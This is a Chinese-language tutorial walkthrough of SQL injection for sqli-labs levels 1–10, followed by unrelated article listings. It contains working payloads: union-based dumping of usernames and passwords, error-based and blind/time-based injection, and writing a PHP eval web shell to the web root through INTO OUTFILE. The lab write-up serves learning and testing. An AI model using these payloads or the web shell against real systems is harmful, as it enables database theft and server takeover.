sqli-labs1-10基础掌握
00x01基于错误的GET单引号字符型注入
- 首先and 1=2判断是否为数值型sql注入,页面正常,不是
- 然后’测试,发现页面报sql语句错误,存在字符型sql注入

- 猜测参数为单引号闭合,用注释语句将后面的引号注释掉,先尝试#号,页面还是不正常,再尝试--+,发现页面正常显示,那么可以插入sql语句了

- Order by查询字段数,查出来是3
- Union select 1,2,3发现不能回显出指定的1,2,3,因为指定位被id=3的数据占满了,因此将参数改为一个数据库不存在的id值-1,就有回显位了。再次插入union select 1,2,3发现2,3出现在页面上,说明这两个显示位可以被利用;

- 爆当前数据库union select 1,2,database()

- 爆security当中的表,因为回显位有限,因此字段都加上group_concat(),让其显示在一个回显位上,union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”

- 找到敏感表名users,爆出users中所有的字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=”security”and table_name=”users”

- 发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users
00x02基于错误的get数值型
1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入
2.直接插入sql语句,后面查询过程跟第一关相似。
00x03 基于错误的-GET单引号变形字符型注入
1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入
2.sql查询爆数据详细见第一关。
00x04基于错误的GET双引号字符型注入
1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“)--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入
2.后面操作详见第一关。
00x05 双注入GET单引号字符型注入
- 当输入?id=3时发现没有显示位,?id=-3也没有

- 因此无法使用联合查询注入
- 接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。

- 页面出现sql语句报错,在这里我们可以使用一种新的注入方式:报错注入
三种报错注入常用的语句:
(1)通过floor报错:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为想要插入的sql语句
该语句将输出字符长度限制为64个字符;
(2)通过updatexml报错
and updatexml(1,payload,1)
该语句的输出长度限制为32位,
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
(3)通过ExtractValue报错
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,payload,0x7e))
输出字符长度限制为32位
6.这里我们使用第一种floor报错语句进行sql注入
?id=3’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里的数据库则是security,而不是security1,这个1是floor报错语句中输出的一部分
7.查询所有数据库时
?id=3’and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
7.运用limit 一个一个的输出
?id=3’and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

8. 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示
00x06 双注入GET双引号字符型注入
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2' 改为 ?id=2"即可
其余过程不再赘述,请参考第五关
00x07 导出文件GET字符型注入
1. 当我们输入?id=1'页面报错,说明可能存在单引号闭合注入

2. 当我们输入?id=1' --+页面显示依然不正常,证明不是单引号闭合,尝试’)依然不正常,尝试‘))--+页面显示正常

3. 想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
4.取mysql的目录E:\phpStudy\PHPTutorial\MySQL\data,然后使用
union select 1,2,3 into outfile "E:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"尝试写入文件

文件写入成功
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
5.可以写入文件到数据库,那么我们可以写入一句话木马上传到数据库中
?id=-3')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "E:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+

上传成功
6.连接菜刀
7.不能写入的话进入mysql命令行,show variables like '%secure%';查看当前的secure-file-priv 是什么值,我们把导入的路径改为上面的值就可以了
或者将my.ini中的secure-file-priv的值改为’’.
00x08 布尔型单引号GET盲注
1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+
上传成功
当然我尝试下了下布尔和时间盲注,都是可以的
3.盲注涉及函数:
length(str):返回字符串str的长度
substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
mid(str,pos,len):和substr()类似
ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
ord():同上,返回acsii码
left(str,len):对字符串str左截取len长度
right(str,len):对字符串str右截取len长度
if(a,b,c):条件判断,如果a为true,返回b,否则返回c
4. 盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑
00x09 基于时间的GET单引号盲注
1. 时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....
2. 这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
and if((ascii(substr(database(),1,1)))>114,sleep(5),0)
这里的意思是,如果数据库名首字母的ascii码大于114,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。
3.判断时间型盲注语句:’ and sleep(5)%23
这里用到的是?id=1’ and sleep(5)--+
F12看网络缓存时间,超过5秒就存在时间型盲注
00x10 基于时间的双引号盲注
1.输入’和”都显示正常,尝试?id=3’ and sleep(5)--+,没什么延迟,尝试” and sleep(5)--+延迟时间变为6秒多,说明是双引号的时间型盲注。

sqli-labs1-10基础掌握的更多相关文章
- spring boot(10) 基础学习内容
A Spring boot(10) 基础学习内容 B SpringBoot(16) 基础学习内容
- 数据结构和算法(Golang实现)(10)基础知识-算法复杂度主方法
算法复杂度主方法 有时候,我们要评估一个算法的复杂度,但是算法被分散为几个递归的子问题,这样评估起来很难,有一个数学公式可以很快地评估出来. 一.复杂度主方法 主方法,也可以叫主定理.对于那些用分治法 ...
- OpenShift-OKD3.10基础环境部署
单master + 双node 1.主机角色划分 #采用双网段部署 0 网段是opesnshift内部通信IP,1 网段是连接外网通信地址 #master master.example.com 192 ...
- python+java蓝桥杯ACM日常算法题训练(一)10基础题
目录 1.简单的a+b 2.第一个HelloWorld程序! 3.三个数最大值 4.密码破译 5.母牛的故事 6.7.8.9.10 @(这里写自定义目录标题) 算法题训练网站:http://www.d ...
- 1.10 基础知识——GP3.1 制度化 & GP3.2 收集改进信息
摘要: GP3.1是要求建立组织级的关于该过程的制度.标准.模版等全套体系,要求覆盖该PA所有的SP和GP.GP3.2 体现的是持续改进,每个过程都应该收集相应的改进信息. 正文: GP3.1 Est ...
- 详细了解 Linkerd 2.10 基础功能,一起步入 Service Mesh 微服务架构时代
Linkerd 提供了许多功能,如:自动 mTLS.自动代理注入.分布式追踪.故障注入.高可用性.HTTP/2 和 gRPC 代理.负载均衡.多集群通信.重试和超时.遥测和监控.流量拆分(金丝雀.蓝/ ...
- 自学PYTHON分享 --基础1
1.python2和python3的区别: 宏观上:python2 与 python3 区别: python2 源码不标准,混乱,重复代码太多, python3 统一 标准,去除重复代码. 2.pyt ...
- JAVA核心技术I---JAVA基础知识(常量设计和常量池)
一:常量---一种不会修改的变量 –Java没有constant关键字 –不能修改,final –不会修改/只读/只要一份,static –方便访问publicJava中的常量 –public sta ...
- day 01 python基础
1.计算机历史 2.python历史 宏观: python2和python3的区别: python2 源码不标准,混乱,重复代码过多 python3 统一标准,去除重复代码 3.python环境 ...
- Windows 10 神州网信版
一.版本介绍:官网链接:http://document.cmgos.com/release_notes/release_notes_V0_H 下载链接:请自行百度Windows 10 神州网信政府版( ...
随机推荐
- String实例 (练习)
练习题1:用户输入一段字符串,要求统计出在该段字符串中,数字,字母以及其他字符各出现过几次??? 代码实现: 运行结果: 补充:1. 连接符的使用: +用作连接符时,只能连接字符串,即“ ”双 ...
- 《Java 8 in Action》Chapter 12:新的日期和时间API
在Java 1.0中,对日期和时间的支持只能依赖java.util.Date类.同时这个类还有两个很大的缺点:年份的起始选择是1900年,月份的起始从0开始. 在Java 1.1中,Date类中的很多 ...
- .NET CORE(C#) WPF简单菜单MVVM绑定
微信公众号:Dotnet9,网站:Dotnet9,问题或建议:请网站留言, 如果对您有所帮助:欢迎赞赏. .NET CORE(C#) WPF简单菜单MVVM绑定 阅读导航 本文背景 代码实现 本文参考 ...
- cesium结合geoserver利用WFS服务实现图层新增(附源码下载)
前言 cesium 官网的api文档介绍地址cesium官网api,里面详细的介绍 cesium 各个类的介绍,还有就是在线例子:cesium 官网在线例子,这个也是学习 cesium 的好素材. 内 ...
- rpm | 升级软件包
rpm | 升级软件包 检查已安装包 rpm -qa | grep samba samba-common-3.6.9-164.el6.x86_64 samba-3.6.9-164.el6.x86_64 ...
- jQuery---链式编程
链式编程 设置性操作:可以链式编程 获取性操作,不能链式,因为获取性操作,数值,字符串,返回值是不是一个jq对象. $(function () { //设置性操作:可以链式编程 //获取性操作,不 ...
- jQuery---委托事件原理
jQuery事件发展历程 事件发展历程:从简单事件,到bind,到委托事件,到on事件绑定 //简单事件,给自己注册的事件 $("div").click(function () { ...
- 洛谷P1056 排座椅
洛谷P1056 排座椅 洛谷传送门 题目描述 上课的时候总会有一些同学和前后左右的人交头接耳,这是令小学班主任十分头疼的一件事情.不过,班主任小雪发现了一些有趣的现象,当同学们的座次确定下来之后,只有 ...
- BZOJ #2989. 数列 [树套树]
考虑转化问题模型,这个没必要可持久化,直接加点就可以了,还不用删点 每次的问题是求 曼哈顿距离,变成切比雪夫距离然后求解 然后我们考虑将这玩意旋转 45度, 然后原坐标的 \((x,y)\) 会变成 ...
- 2019牛客多校第八场 F题 Flowers 计算几何+线段树
2019牛客多校第八场 F题 Flowers 先枚举出三角形内部的点D. 下面所说的旋转没有指明逆时针还是顺时针则是指逆时针旋转. 固定内部点的答案的获取 anti(A)anti(A)anti(A)或 ...